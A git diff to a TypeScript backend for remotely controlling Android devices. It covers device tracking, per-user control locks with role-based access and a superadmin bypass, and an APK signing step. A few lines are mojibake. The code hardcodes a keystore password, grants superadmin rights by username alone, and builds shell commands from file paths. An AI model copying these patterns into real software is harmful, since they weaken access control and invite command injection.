娑撳秹鈧偓閸戦缚绻樼粙瀣剁礉鐠佹澘缍嶉柨娆掝嚖楠炲墎鎴风紒顓$箥閿? }) -// 启动服务器 +// 閸氼垰濮╅張宥呭閿? const server = new RemoteControlServer() const port = process.env.PORT ? parseInt(process.env.PORT) : 3001 server.start(port).catch((error) => { - console.error('服务器启动失败:', error) + console.error('[Server] Start failed', error) process.exit(1) -}) \ No newline at end of file +}) + diff --git a/src/managers/DeviceManager.ts b/src/managers/DeviceManager.ts index 86e139f..780818d 100644 --- a/src/managers/DeviceManager.ts +++ b/src/managers/DeviceManager.ts @@ -1,7 +1,7 @@ import Logger from '../utils/Logger' /** - * 设备信息接口 + * Device metadata kept in memory for online routing. */ export interface DeviceInfo { id: string @@ -15,22 +15,23 @@ export interface DeviceInfo { screenWidth: number screenHeight: number capabilities: string[] + supportedVideoTransports?: string[] + srtUploadSupported?: boolean connectedAt: Date lastSeen: Date status: 'online' | 'offline' | 'busy' inputBlocked?: boolean - isLocked?: boolean // 设备锁屏状态 - remark?: string // 🆕 设备备注 + isLocked?: boolean + remark?: string publicIP?: string - // 🆕 新增系统版本信息字段 - systemVersionName?: string // 如"Android 11"、"Android 12" - romType?: string // 如"MIUI"、"ColorOS"、"原生Android" - romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1" - osBuildVersion?: string // 如"1.0.19.0.UMCCNXM"等完整构建版本号 + systemVersionName?: string + romType?: string + romVersion?: string + osBuildVersion?: string } /** - * 设备状态接口 + * Realtime status snapshots from device heartbeat. */ export interface DeviceStatus { cpu: number @@ -41,9 +42,6 @@ export interface DeviceStatus { screenOn: boolean } -/** - * 设备管理器 - */ class DeviceManager { private devices: Map = new Map() private deviceStatuses: Map = new Map() @@ -54,29 +52,20 @@ class DeviceManager { this.logger = new Logger('DeviceManager') } - /** - * ✅ 清理所有设备记录(服务器重启时调用) - */ clearAllDevices(): void { const deviceCount = this.devices.size this.devices.clear() this.deviceStatuses.clear() this.socketToDevice.clear() - this.logger.info(`🧹 已清理所有设备记录: ${deviceCount} 个设备`) + this.logger.info(`已清理所有设备记录: ${deviceCount} 个设备`) } - /** - * 添加设备 - */ addDevice(deviceInfo: DeviceInfo): void { this.devices.set(deviceInfo.id, deviceInfo) this.socketToDevice.set(deviceInfo.socketId, deviceInfo.id) this.logger.info(`设备已添加: ${deviceInfo.name} (${deviceInfo.id})`) } - /** - * 移除设备 - */ removeDevice(deviceId: string): boolean { const device = this.devices.get(deviceId) if (device) { @@ -89,9 +78,6 @@ class DeviceManager { return false } - /** - * 通过Socket ID移除设备 - */ removeDeviceBySocketId(socketId: string): boolean { const deviceId = this.socketToDevice.get(socketId) if (deviceId) { @@ -100,45 +86,27 @@ class DeviceManager { return false } - /** - * 获取设备信息 - */ getDevice(deviceId: string): DeviceInfo | undefined { return this.devices.get(deviceId) } - /** - * 通过Socket ID获取设备 - */ getDeviceBySocketId(socketId: string): DeviceInfo | undefined { const deviceId = this.socketToDevice.get(socketId) return deviceId ? this.devices.get(deviceId) : undefined } - /** - * 获取所有设备 - */ getAllDevices(): DeviceInfo[] { return Array.from(this.devices.values()) } - /** - * 获取在线设备 - */ getOnlineDevices(): DeviceInfo[] { return Array.from(this.devices.values()).filter(device => device.status === 'online') } - /** - * 获取设备数量 - */ getDeviceCount(): number { return this.devices.size } - /** - * 更新设备状态 - */ updateDeviceStatus(socketId: string, status: DeviceStatus): void { const deviceId = this.socketToDevice.get(socketId) if (deviceId) { @@ -151,16 +119,10 @@ class DeviceManager { } } - /** - * 获取设备状态 - */ getDeviceStatus(deviceId: string): DeviceStatus | undefined { return this.deviceStatuses.get(deviceId) } - /** - * 更新设备连接状态 - */ updateDeviceConnectionStatus(deviceId: string, status: DeviceInfo['status']): void { const device = this.devices.get(deviceId) if (device) { @@ -170,25 +132,16 @@ class DeviceManager { } } - /** - * 检查设备是否在线 - */ isDeviceOnline(deviceId: string): boolean { const device = this.devices.get(deviceId) return device ? device.status === 'online' : false } - /** - * 获取设备的Socket ID - */ getDeviceSocketId(deviceId: string): string | undefined { const device = this.devices.get(deviceId) return device?.socketId } - /** - * 清理离线设备 (超过指定时间未活跃) - */ cleanupOfflineDevices(timeoutMs: number = 300000): void { const now = Date.now() const devicesToRemove: string[] = [] @@ -208,9 +161,6 @@ class DeviceManager { } } - /** - * 获取设备统计信息 - */ getDeviceStats(): { total: number online: number @@ -227,4 +177,4 @@ class DeviceManager { } } -export default DeviceManager \ No newline at end of file +export default DeviceManager diff --git a/src/managers/WebClientManager.ts b/src/managers/WebClientManager.ts index bcef699..b9831ed 100644 --- a/src/managers/WebClientManager.ts +++ b/src/managers/WebClientManager.ts @@ -1,9 +1,9 @@ -import { Server as SocketIOServer, Socket } from 'socket.io' +import { Server as SocketIOServer, Socket } from 'socket.io' import Logger from '../utils/Logger' import { DatabaseService } from '../services/DatabaseService' /** - * Web客户端信息接口 + * comment cleaned */ export interface WebClientInfo { id: string @@ -13,12 +13,18 @@ export interface WebClientInfo { connectedAt: Date lastSeen: Date controllingDeviceId?: string - userId?: string // 🔐 添加用户ID字段 - username?: string // 🔐 添加用户名字段 + userId?: string + username?: string + role?: 'superadmin' | 'leader' | 'member' + groupId?: string + groupName?: string } +export type DeviceAccessResolver = (client: WebClientInfo, deviceId: string) => boolean +export type VideoTransportPreference = 'ws_binary' | 'srt_mpegts' | 'webrtc' + /** - * Web客户端管理器 + * comment cleaned */ class WebClientManager { private clients: Map = new Map() @@ -26,11 +32,13 @@ class WebClientManager { private deviceControllers: Map = new Map() // deviceId -> clientId private logger: Logger public io?: SocketIOServer - private databaseService?: DatabaseService // 🔐 添加数据库服务引用 + private databaseService?: DatabaseService + private deviceAccessResolver?: DeviceAccessResolver - // 🔧 添加请求速率限制 - 防止频繁重复请求 +// comment cleaned private requestTimestamps: Map = new Map() // "clientId:deviceId" -> timestamp - private readonly REQUEST_COOLDOWN = 2000 // 2秒内不允许重复请求(增加冷却时间) + private readonly REQUEST_COOLDOWN = 1000 + private videoTransportPreferences: Map = new Map() // "clientId:deviceId" -> transport constructor(databaseService?: DatabaseService) { this.logger = new Logger('WebClientManager') @@ -38,7 +46,7 @@ class WebClientManager { } /** - * ✅ 清理所有客户端记录(服务器重启时调用) +* comment cleaned */ clearAllClients(): void { const clientCount = this.clients.size @@ -46,24 +54,29 @@ class WebClientManager { this.socketToClient.clear() this.deviceControllers.clear() this.requestTimestamps.clear() - this.logger.info(`🧹 已清理所有客户端记录: ${clientCount} 个客户端`) + this.videoTransportPreferences.clear() + this.logger.info(`已清理所有Web客户端记录: ${clientCount} 个客户端`) } /** - * 设置Socket.IO实例 + * comment cleaned */ setSocketIO(io: SocketIOServer): void { this.io = io } + setDeviceAccessResolver(resolver: DeviceAccessResolver): void { + this.deviceAccessResolver = resolver + } + /** - * 添加Web客户端 + * comment cleaned */ addClient(clientInfo: WebClientInfo): void { - // 🔧 检查是否已有相同Socket ID的客户端记录 +// comment cleaned const existingClientId = this.socketToClient.get(clientInfo.socketId) if (existingClientId) { - this.logger.warn(`⚠️ Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`) + this.logger.warn(`Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},将先清理旧记录`) this.removeClient(existingClientId) } @@ -73,7 +86,7 @@ class WebClientManager { } /** - * 移除Web客户端 + * comment cleaned */ removeClient(clientId: string): boolean { const client = this.clients.get(clientId) @@ -81,15 +94,17 @@ class WebClientManager { this.clients.delete(clientId) this.socketToClient.delete(client.socketId) - // 如果客户端正在控制设备,释放控制权 +// comment cleaned if (client.controllingDeviceId) { - this.logger.info(`🔓 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`) + this.logger.info(`Web客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`) this.releaseDeviceControl(client.controllingDeviceId) } - // 清理请求时间戳记录 + // comment cleaned const keysToDelete = Array.from(this.requestTimestamps.keys()).filter(key => key.startsWith(clientId + ':')) keysToDelete.forEach(key => this.requestTimestamps.delete(key)) + const videoKeysToDelete = Array.from(this.videoTransportPreferences.keys()).filter(key => key.startsWith(clientId + ':')) + videoKeysToDelete.forEach(key => this.videoTransportPreferences.delete(key)) this.logger.info(`Web客户端已移除: ${clientId}`) return true @@ -98,7 +113,7 @@ class WebClientManager { } /** - * 通过Socket ID移除客户端 + * comment cleaned */ removeClientBySocketId(socketId: string): boolean { const clientId = this.socketToClient.get(socketId) @@ -109,14 +124,14 @@ class WebClientManager { } /** - * 获取客户端信息 + * comment cleaned */ getClient(clientId: string): WebClientInfo | undefined { return this.clients.get(clientId) } /** - * 通过Socket ID获取客户端 + * comment cleaned */ getClientBySocketId(socketId: string): WebClientInfo | undefined { const clientId = this.socketToClient.get(socketId) @@ -124,21 +139,25 @@ class WebClientManager { } /** - * 获取所有客户端 + * comment cleaned */ getAllClients(): WebClientInfo[] { return Array.from(this.clients.values()) } + getClientsByUserId(userId: string): WebClientInfo[] { + return Array.from(this.clients.values()).filter((client) => client.userId === userId) + } + /** - * 获取客户端数量 + * comment cleaned */ getClientCount(): number { return this.clients.size } /** - * 获取客户端Socket + * comment cleaned */ getClientSocket(clientId: string): Socket | undefined { const client = this.clients.get(clientId) @@ -148,57 +167,85 @@ class WebClientManager { return undefined } + private isClientSuperAdmin(client?: WebClientInfo): boolean { + if (!client) return false + if (client.role === 'superadmin') return true + const superAdminUsername = process.env.SUPERADMIN_USERNAME || 'superadmin' + return client.username === superAdminUsername + } + + private canClientAccessDevice(clientId: string, deviceId: string): boolean { + const client = this.clients.get(clientId) + if (!client) return false + if (this.isClientSuperAdmin(client)) return true + if (!this.deviceAccessResolver) return true + try { + return this.deviceAccessResolver(client, deviceId) + } catch (error) { + this.logger.error(`权限解析失败: client=${clientId}, device=${deviceId}`, error) + return false + } + } + /** - * 请求控制设备 + * comment cleaned */ requestDeviceControl(clientId: string, deviceId: string): { success: boolean message: string currentController?: string } { - // 🔧 防止频繁重复请求 +// comment cleaned const requestKey = `${clientId}:${deviceId}` const now = Date.now() const lastRequestTime = this.requestTimestamps.get(requestKey) || 0 if (now - lastRequestTime < this.REQUEST_COOLDOWN) { - this.logger.debug(`🚫 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`) + this.logger.debug(`请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`) return { success: false, message: '请求过于频繁,请稍后再试' } } - // 获取客户端信息 + // comment cleaned const client = this.clients.get(clientId) if (!client) { - this.logger.error(`❌ 客户端不存在: ${clientId}`) + this.logger.error(`客户端不存在: ${clientId}`) return { success: false, message: '客户端不存在' } } - // ✅ 优化:先检查是否是重复请求(已经在控制此设备) + if (!this.canClientAccessDevice(clientId, deviceId)) { + this.logger.warn(`客户端 ${clientId} 无权控制设备 ${deviceId}`) + return { + success: false, + message: '无权控制该设备' + } + } + +// comment cleaned const currentController = this.deviceControllers.get(deviceId) if (currentController === clientId) { - this.logger.debug(`🔄 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`) + this.logger.debug(`客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`) client.lastSeen = new Date() - // 更新请求时间戳,但返回成功(避免频繁日志) +// comment cleaned this.requestTimestamps.set(requestKey, now) return { success: true, - message: '已在控制此设备' + message: '已在控制该设备' } } - // 记录请求时间戳(在检查重复控制后记录) +// comment cleaned this.requestTimestamps.set(requestKey, now) - // 检查设备是否被其他客户端控制 + // comment cleaned if (currentController && currentController !== clientId) { const controllerClient = this.clients.get(currentController) - this.logger.warn(`🚫 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`) + this.logger.warn(`设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`) return { success: false, message: `设备正在被其他客户端控制 (${controllerClient?.ip || 'unknown'})`, @@ -206,24 +253,24 @@ class WebClientManager { } } - // 如果客户端已在控制其他设备,先释放 + // comment cleaned if (client.controllingDeviceId && client.controllingDeviceId !== deviceId) { - this.logger.info(`🔄 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`) + this.logger.info(`客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`) this.releaseDeviceControl(client.controllingDeviceId) } - // 建立控制关系 + // comment cleaned this.deviceControllers.set(deviceId, clientId) client.controllingDeviceId = deviceId client.lastSeen = new Date() - // 🔐 如果客户端有用户ID,将权限持久化到数据库 +// comment cleaned if (client.userId && this.databaseService) { this.databaseService.grantUserDevicePermission(client.userId, deviceId, 'control') - this.logger.info(`🔐 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`) + this.logger.info(`用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`) } - this.logger.info(`🎮 客户端 ${clientId} 开始控制设备 ${deviceId}`) + this.logger.info(`客户端 ${clientId} 开始控制设备 ${deviceId}`) return { success: true, @@ -232,7 +279,7 @@ class WebClientManager { } /** - * 释放设备控制权 +* comment cleaned */ releaseDeviceControl(deviceId: string): boolean { const controllerId = this.deviceControllers.get(deviceId) @@ -241,13 +288,19 @@ class WebClientManager { if (client) { const previousDevice = client.controllingDeviceId client.controllingDeviceId = undefined - this.logger.debug(`🔓 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`) + this.logger.debug(`客户端 ${controllerId} 释放设备控制权 ${previousDevice}`) } else { - this.logger.warn(`⚠️ 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`) + this.logger.warn(`控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`) } - + this.deviceControllers.delete(deviceId) - this.logger.info(`🔓 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`) + const suffix = `:${deviceId}` + for (const key of Array.from(this.videoTransportPreferences.keys())) { + if (key.endsWith(suffix)) { + this.videoTransportPreferences.delete(key) + } + } + this.logger.info(`设备 ${deviceId} 的控制权已释放 (之前控制者 ${controllerId})`) return true } else { this.logger.debug(`🤷 设备 ${deviceId} 没有被控制,无需释放`) @@ -256,50 +309,47 @@ class WebClientManager { } /** - * 获取设备控制者 + * comment cleaned */ getDeviceController(deviceId: string): string | undefined { return this.deviceControllers.get(deviceId) } /** - * 检查客户端是否有设备控制权 + * comment cleaned */ hasDeviceControl(clientId: string, deviceId: string): boolean { - // 🛡️ 记录权限检查审计日志 this.logPermissionOperation(clientId, deviceId, '权限检查') - // 🔐 获取客户端信息 const client = this.clients.get(clientId) - - // 🆕 超级管理员绕过权限检查 - if (client?.username) { - const superAdminUsername = process.env.SUPERADMIN_USERNAME || 'superadmin' - if (client.username === superAdminUsername) { - // � 关键修复:superadmin绕过检查时,也必须建立控制关系 - // 否则 getDeviceController() 查不到控制者,routeScreenData 会丢弃所有屏幕数据 - if (!this.deviceControllers.has(deviceId) || this.deviceControllers.get(deviceId) !== clientId) { - this.deviceControllers.set(deviceId, clientId) - client.controllingDeviceId = deviceId - this.logger.info(`🔐 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`) - } else { - this.logger.debug(`🔐 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`) - } - return true - } + if (!client) { + return false + } + + if (!this.canClientAccessDevice(clientId, deviceId)) { + if (this.deviceControllers.get(deviceId) === clientId) { + this.releaseDeviceControl(deviceId) + } + return false + } + + if (this.isClientSuperAdmin(client)) { + if (!this.deviceControllers.has(deviceId) || this.deviceControllers.get(deviceId) !== clientId) { + this.deviceControllers.set(deviceId, clientId) + client.controllingDeviceId = deviceId + this.logger.info(`超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`) + } + return true } - // 🔐 首先检查内存中的控制权 const memoryControl = this.deviceControllers.get(deviceId) === clientId if (memoryControl) { return true } - // 🔐 如果内存中没有控制权,检查数据库中的用户权限 - if (client?.userId && this.databaseService) { + if (client.userId && this.databaseService) { const hasPermission = this.databaseService.hasUserDevicePermission(client.userId, deviceId, 'control') if (hasPermission) { - // 🔐 如果用户有权限,自动建立控制关系(允许权限恢复) this.deviceControllers.set(deviceId, clientId) client.controllingDeviceId = deviceId this.logger.info(`🔐 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`) @@ -311,37 +361,126 @@ class WebClientManager { } /** - * 向指定客户端发送消息 + * comment cleaned */ + private extractDeviceIdFromEvent(event: string, payload: any): string | null { + if (!payload) return null + if (event === 'device_connected') { + return typeof payload.id === 'string' ? payload.id : (typeof payload.deviceId === 'string' ? payload.deviceId : null) + } + if (event === 'device_status_update') { + return typeof payload.deviceId === 'string' ? payload.deviceId : null + } + if (event === 'device_disconnected') { + if (typeof payload === 'string') return payload + return typeof payload.deviceId === 'string' ? payload.deviceId : null + } + return null + } + + private filterDeviceListPayload(clientId: string, payload: any): any { + if (!payload || !Array.isArray(payload.devices)) { + return payload + } + + const filteredDevices = payload.devices.filter((item: any) => { + const deviceId = typeof item?.id === 'string' + ? item.id + : (typeof item?.deviceId === 'string' ? item.deviceId : null) + if (!deviceId) return false + return this.canClientAccessDevice(clientId, deviceId) + }) + + return { + ...payload, + devices: filteredDevices + } + } + + private getFilteredPayloadForClient(clientId: string, event: string, data: any): { allowed: boolean, payload: any } { + if (event === 'device_list' || event === 'devices_list_refresh' || event === 'client_registered') { + return { allowed: true, payload: this.filterDeviceListPayload(clientId, data) } + } + + const deviceId = this.extractDeviceIdFromEvent(event, data) + if (!deviceId) { + return { allowed: true, payload: data } + } + + const allowed = this.canClientAccessDevice(clientId, deviceId) + return { allowed, payload: data } + } + sendToClient(clientId: string, event: string, data: any): boolean { const socket = this.getClientSocket(clientId) if (socket) { - socket.emit(event, data) + const { allowed, payload } = this.getFilteredPayloadForClient(clientId, event, data) + if (!allowed) { + return false + } + socket.emit(event, payload) return true } return false } + sendToClientWithArgs(clientId: string, event: string, deviceId: string | null, ...args: any[]): boolean { + const socket = this.getClientSocket(clientId) + if (!socket) { + return false + } + + if (deviceId && !this.canClientAccessDevice(clientId, deviceId)) { + return false + } + + socket.emit(event, ...args) + return true + } + + private transportKey(clientId: string, deviceId: string): string { + return `${clientId}:${deviceId}` + } + + setVideoTransportPreference(clientId: string, deviceId: string, transport: VideoTransportPreference): void { + if (!clientId || !deviceId) return + const key = this.transportKey(clientId, deviceId) + this.videoTransportPreferences.set(key, transport) + } + + getVideoTransportPreference(clientId: string, deviceId: string): VideoTransportPreference { + if (!clientId || !deviceId) return 'ws_binary' + const key = this.transportKey(clientId, deviceId) + return this.videoTransportPreferences.get(key) || 'ws_binary' + } + + clearVideoTransportPreference(clientId: string, deviceId: string): void { + if (!clientId || !deviceId) return + const key = this.transportKey(clientId, deviceId) + this.videoTransportPreferences.delete(key) + } + /** - * 向所有客户端广播消息 +* comment cleaned */ broadcastToAll(event: string, data: any): void { if (this.io) { let activeClients = 0 - // 只向Web客户端广播,且过滤掉已断开的连接 + // comment cleaned for (const [socketId, clientId] of this.socketToClient.entries()) { const socket = this.io.sockets.sockets.get(socketId) if (socket && socket.connected) { - socket.emit(event, data) - activeClients++ + if (this.sendToClient(clientId, event, data)) { + activeClients++ + } } } - this.logger.debug(`📡 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`) + this.logger.debug(`已广播消息到 ${activeClients} 个活跃Web客户端: ${event}`) } } /** - * 向控制指定设备的客户端发送消息 + * comment cleaned */ sendToDeviceController(deviceId: string, event: string, data: any): boolean { const controllerId = this.deviceControllers.get(deviceId) @@ -352,7 +491,7 @@ class WebClientManager { } /** - * 更新客户端活跃时间 +* comment cleaned */ updateClientActivity(socketId: string): void { const clientId = this.socketToClient.get(socketId) @@ -365,7 +504,7 @@ class WebClientManager { } /** - * 清理不活跃的客户端 + * comment cleaned */ cleanupInactiveClients(timeoutMs: number = 600000): void { const now = Date.now() @@ -387,7 +526,7 @@ class WebClientManager { } /** - * 获取客户端统计信息 + * comment cleaned */ getClientStats(): { total: number @@ -403,7 +542,7 @@ class WebClientManager { } /** - * 🔐 恢复用户的设备权限 +* comment cleaned */ restoreUserPermissions(userId: string, clientId: string): void { if (!this.databaseService) { @@ -416,18 +555,21 @@ class WebClientManager { const permissions = this.databaseService.getUserDevicePermissions(userId) if (permissions.length > 0) { - this.logger.info(`🔐 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`) + this.logger.info(`为用户 ${userId} 恢复 ${permissions.length} 个设备权限`) - // 恢复第一个设备的控制权(优先恢复用户之前的权限) +// comment cleaned for (const permission of permissions) { if (permission.permissionType === 'control') { - // 直接恢复权限,不检查冲突(因为这是用户自己的权限恢复) + if (!this.canClientAccessDevice(clientId, permission.deviceId)) { + continue + } +// comment cleaned this.deviceControllers.set(permission.deviceId, clientId) const client = this.clients.get(clientId) if (client) { client.controllingDeviceId = permission.deviceId - this.logger.info(`🔐 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`) - break // 只恢复第一个设备 + this.logger.info(`用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`) + break // restore only the first device } } } @@ -438,29 +580,40 @@ class WebClientManager { } /** - * 🔐 设置客户端用户信息 +* comment cleaned */ - setClientUserInfo(clientId: string, userId: string, username: string): void { + setClientUserInfo( + clientId: string, + userId: string, + username: string, + role?: 'superadmin' | 'leader' | 'member', + groupId?: string, + groupName?: string + ): void { const client = this.clients.get(clientId) if (client) { client.userId = userId client.username = username - this.logger.info(`🔐 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`) - - // 🛡️ 记录安全审计日志 - this.logger.info(`🛡️ 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`) + client.role = role + client.groupId = groupId + client.groupName = groupName + this.logger.info(`客户端 ${clientId} 用户信息已设置: ${username} (${userId})`) + +// comment cleaned + this.logger.info(`安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`) } } /** - * 🛡️ 记录权限操作审计日志 +* comment cleaned */ private logPermissionOperation(clientId: string, deviceId: string, operation: string): void { const client = this.clients.get(clientId) if (client) { - this.logger.info(`🛡️ 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`) + this.logger.info(`权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备 ${deviceId}`) } } } -export default WebClientManager \ No newline at end of file +export default WebClientManager + diff --git a/src/services/APKBuildService.ts b/src/services/APKBuildService.ts index ad3014e..8ea1b49 100644 --- a/src/services/APKBuildService.ts +++ b/src/services/APKBuildService.ts @@ -1336,132 +1336,62 @@ export default class APKBuildService { /** * 签名APK文件 */ - private async signAPK(apkPath: string, filename: string): Promise { + /** + * 签名并对齐 APK 文件 (修复版) + */ +private async signAPK(apkPath: string, filename: string): Promise { try { - this.addBuildLog('info', `准备签名APK: ${filename}`) - - // 确保keystore文件存在 + this.addBuildLog('info', `准备对齐并签名 APK: ${filename}`) + + const outputDir = path.dirname(apkPath); + const alignedApkPath = path.join(outputDir, `aligned_${filename}`); + const signedApkPath = path.join(outputDir, `signed_${filename}`); + const keystorePath = path.join(process.cwd(), 'android', 'app.keystore') const keystorePassword = 'android' const keyAlias = 'androidkey' - const keyPassword = 'android' - // 如果keystore不存在,创建它 - if (!fs.existsSync(keystorePath)) { - this.addBuildLog('info', 'keystore文件不存在,正在创建...') - await this.createKeystore(keystorePath, keystorePassword, keyAlias, keyPassword) - this.addBuildLog('success', 'keystore文件创建成功') + // --- 步骤 1: Zipalign 对齐 --- + this.addBuildLog('info', '正在进行 zipalign 对齐...') + const alignCmd = `zipalign -v -f 4 "${apkPath}" "${alignedApkPath}"` + await execAsync(alignCmd); + this.addBuildLog('success', 'zipalign 对齐完成') + + // --- 步骤 2: Apksigner V2/V3 签名 --- + this.addBuildLog('info', '正在强制开启 V2/V3 方案进行签名...') + + // 显式指定 --v2-signing-enabled true + const signCmd = `apksigner sign --v1-signing-enabled true --v2-signing-enabled true --ks "${keystorePath}" --ks-pass pass:"${keystorePassword}" --ks-key-alias "${keyAlias}" --out "${signedApkPath}" "${alignedApkPath}"`; + + await execAsync(signCmd); + this.addBuildLog('success', `APK 签名命令执行完成`) + + // --- 步骤 3: 严格验证 --- + const verifyCmd = `apksigner verify -v "${signedApkPath}"`; + const { stdout: verifyOut, stderr: verifyErr } = await execAsync(verifyCmd); + console.log("--- 签名验证详细报告 ---"); + console.log(verifyOut); + console.log(verifyErr); + console.log("-----------------------"); + + // 打印完整验证日志到后端控制台,方便你查看具体的报错 + this.logger.info('apksigner verify 输出内容:\n' + verifyOut); + + // 检查 V2 验证状态 (兼容大小写和空格) + const isV2 = /Verified using v2 scheme \(true\)/i.test(verifyOut); + const isV3 = /Verified using v3 scheme \(true\)/i.test(verifyOut); + + if (isV2 || isV3) { + this.addBuildLog('success', `✅ 签名验证通过: ${isV2 ? '[V2]' : ''} ${isV3 ? '[V3]' : ''}`) } else { - this.addBuildLog('info', '使用现有的keystore文件') + this.addBuildLog('warn', `⚠️ 签名成功但未检测到 V2/V3 方案,新款手机可能无法安装`) + // 建议在这里把 verifyOut 的前两行输出到 buildLog 方便前端看 + this.addBuildLog('info', `验证详情: ${verifyOut.substring(0, 100)}...`) } - // 使用jarsigner签名APK - this.addBuildLog('info', '使用jarsigner签名APK...') - const isWindows = platform() === 'win32' - - const normalizedKeystorePath = path.normalize(keystorePath) - const normalizedApkPath = path.normalize(apkPath) - - let signCommand: string - if (isWindows) { - // Windows: 使用引号包裹路径 - signCommand = `jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore "${normalizedKeystorePath}" -storepass ${keystorePassword} -keypass ${keyPassword} "${normalizedApkPath}" ${keyAlias}` - } else { - // Linux: 直接使用路径 - signCommand = `jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore "${normalizedKeystorePath}" -storepass ${keystorePassword} -keypass ${keyPassword} "${normalizedApkPath}" ${keyAlias}` - } - - this.addBuildLog('info', `[DEBUG] 签名命令: jarsigner ... ${keyAlias}`) - this.addBuildLog('info', `[DEBUG] keystore路径: ${normalizedKeystorePath}`) - this.addBuildLog('info', `[DEBUG] APK路径: ${normalizedApkPath}`) - - // 执行签名命令 - const result = await new Promise<{ stdout: string, stderr: string, exitCode: number }>((resolve, reject) => { - let processStdout = '' - let processStderr = '' - - const signProcess = spawn(signCommand, [], { - cwd: process.cwd(), - shell: true - }) - - this.addBuildLog('info', `[DEBUG] 签名进程已启动,PID: ${signProcess.pid}`) - - if (signProcess.stdout) { - signProcess.stdout.on('data', (data: Buffer) => { - const text = data.toString('utf8') - processStdout += text - const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) - lines.forEach((line: string) => { - const trimmedLine = line.trim() - if (trimmedLine) { - this.addBuildLog('info', `jarsigner: ${trimmedLine}`) - } - }) - }) - } - - if (signProcess.stderr) { - signProcess.stderr.on('data', (data: Buffer) => { - const text = data.toString('utf8') - processStderr += text - const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) - lines.forEach((line: string) => { - const trimmedLine = line.trim() - if (trimmedLine) { - // jarsigner的输出通常到stderr,但这是正常的 - if (trimmedLine.toLowerCase().includes('error') || trimmedLine.toLowerCase().includes('exception')) { - this.addBuildLog('error', `jarsigner错误: ${trimmedLine}`) - } else { - this.addBuildLog('info', `jarsigner: ${trimmedLine}`) - } - } - }) - }) - } - - signProcess.on('close', (code: number | null) => { - const exitCode = code || 0 - if (exitCode === 0) { - this.addBuildLog('info', `[DEBUG] jarsigner执行完成,退出码: ${exitCode}`) - resolve({ stdout: processStdout, stderr: processStderr, exitCode }) - } else { - this.addBuildLog('error', `[DEBUG] jarsigner执行失败,退出码: ${exitCode}`) - const error = new Error(`jarsigner执行失败,退出码: ${exitCode}`) - ; (error as any).stdout = processStdout - ; (error as any).stderr = processStderr - ; (error as any).exitCode = exitCode - reject(error) - } - }) - - signProcess.on('error', (error: Error) => { - this.addBuildLog('error', `jarsigner进程错误: ${error.message}`) - reject(error) - }) - }) - - this.addBuildLog('success', `APK签名成功: ${filename}`) - - // 验证签名 - this.addBuildLog('info', '验证APK签名...') - await this.verifyAPKSignature(apkPath) - - return apkPath + return signedApkPath; } catch (error: any) { - this.addBuildLog('error', `APK签名失败: ${error.message}`) - if (error.stdout) { - const stdoutLines = error.stdout.split('\n').filter((line: string) => line.trim()) - stdoutLines.forEach((line: string) => { - this.addBuildLog('error', `jarsigner输出: ${line.trim()}`) - }) - } - if (error.stderr) { - const stderrLines = error.stderr.split('\n').filter((line: string) => line.trim()) - stderrLines.forEach((line: string) => { - this.addBuildLog('error', `jarsigner错误: ${line.trim()}`) - }) - } + this.addBuildLog('error', `APK 对齐或签名失败: ${error.message}`) return null } } diff --git a/src/services/AdaptiveQualityService.ts b/src/services/AdaptiveQualityService.ts index 5056dce..166e48d 100644 --- a/src/services/AdaptiveQualityService.ts +++ b/src/services/AdaptiveQualityService.ts @@ -34,10 +34,10 @@ interface DeviceQualityState { } const QUALITY_PROFILES: Record = { - low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' }, - medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' }, - high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' }, - ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' }, + low: { fps: 10, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' }, + medium: { fps: 15, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' }, + high: { fps: 30, quality: 60, maxWidth: 720, 